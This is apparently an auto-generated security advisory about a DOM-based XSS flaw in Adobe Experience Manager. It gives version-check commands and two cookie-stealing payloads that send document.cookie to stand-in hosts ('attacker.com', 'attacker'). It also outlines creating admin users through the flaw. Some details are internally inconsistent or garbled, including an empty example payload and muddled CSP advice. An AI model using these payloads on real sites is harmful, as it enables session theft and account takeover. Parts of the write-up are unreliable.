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Intro – How CVE-2026-47989 works
The vulnerability resides in Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04, and earlier. It is a DOM-based Cross-Site Scripting (XSS) flaw, meaning the malicious payload is never sent to the server; instead, it is executed purely on the client side via manipulation of the Document Object Model (DOM). An attacker crafts a malicious URL or external HTML page that contains JavaScript code designed to alter the DOM environment of a legitimate AEM page. When a victim with an active AEM session visits this crafted page (the attacker-controlled context), the victim’s browser loads the AEM page and the attacker’s script simultaneously. The script then locates an insecure JavaScript sink within AEM’s client-side code – for example, a call to eval(), innerHTML, or `document.write()` that unsafely processes location.hash, document.referrer, or postMessage data. By injecting a string like `` into the controlled DOM element, the browser interprets it as live HTML/JavaScript. Because the AEM page trusts its own DOM, the script executes with the origin and permissions of the AEM application, including access to authentication tokens, session cookies, and page content. The attack requires user interaction – the victim must click the attacker’s link or visit the malicious webpage. However, the scope is changed (S:C), meaning the XSS can affect resources beyond the vulnerable component, such as stealing data from other AEM modules or performing actions on behalf of the user. CVSS vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N confirms low complexity, network attack vector, and low confidentiality/impact. No server-side logs capture the exploit because the payload never reaches the AEM backend. Adobe’s advisory notes that AEM sanitizes server-side output but leaves several client-side sinks unprotected. Attackers can pivot this flaw to extract sensitive documents, create rogue admin users, or deface AEM-managed sites. The vulnerability is triggered only when AEM’s client-side libraries (Granite, CoralUI) process unsanitized input from DOM sources like `window.name` or URL fragments. Typical exploitation chains involve first mapping the AEM version via public resources, then injecting a script that reads CSRF tokens and exfiltrates repository data. Because the attack happens entirely in the browser, traditional WAF and network-based IDS cannot detect it unless they inspect outgoing JavaScript execution patterns.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: 6.5.24 and earlier
Vulnerability: DOM-based XSS
Severity: MEDIUM (5.4)
date: June 9 2026
Prediction: June 15 2026
What Undercode Say:
Analytics – Bash commands and codes to verify exposure:
Check AEM version from published manifest
curl -s -k https://target-aem.com/libs/granite/core/content/login.html | grep -o "Version [0-9]+.[0-9]+.[0-9]+"
Detect DOM sink using browser console (paste this in dev tools)
Array.from(document.querySelectorAll('script')).forEach(s => { if(s.src && s.src.includes('granite')) console.log(s.src); });
Test payload for CVE-2026-47989 via crafted URL
curl -v "https://target-aem.com/content/dam/test.html\"><img src=x onerror=fetch('//attacker.com/steal?c='+document.cookie)>"
Enumerate postMessage listeners (potential exploit vector)
cat > postMessage_check.js << 'EOF'
window.addEventListener('message', (e) => { console.log('Origin:', e.origin, 'Data:', e.data); });
EOF
echo "Inject via browser console or bookmarklet"
Exploit:
Attacker hosts `exploit.html` that opens a victim AEM page in an iframe and modifies its DOM via `postMessage` or window.name. Payload: <svg onload=location.href='//attacker/log?cookie='+document.cookie>. When victim loads the attacker’s page, XSS executes in AEM context, exfiltrating session tokens and performing authenticated requests (e.g., creating admin users via /libs/granite/security/post/authorizables).
Protection:
Upgrade to AEM 6.5.25 or newer (patch expected June 15, 2026). Implement Content Security Policy (CSP) with `script-src ‘self’ ‘unsafe-inline’` disabled. Use DOM sanitizer (DOMPurify) on all client-side sinks. Set X-XSS-Protection: 1; mode=block. Audit JavaScript for innerHTML, eval, and `location.hash` usage.
Impact:
Attacker steals sensitive CMS data (pages, user lists, SSO tokens). Defaces public-facing AEM sites. Escalates privileges from low-privileged author to admin. Bypasses server-side XSS filters. Affects all AEM components using vulnerable client libraries (Assets, Sites, Forms). Medium severity due to required user interaction, but scope change amplifies damage.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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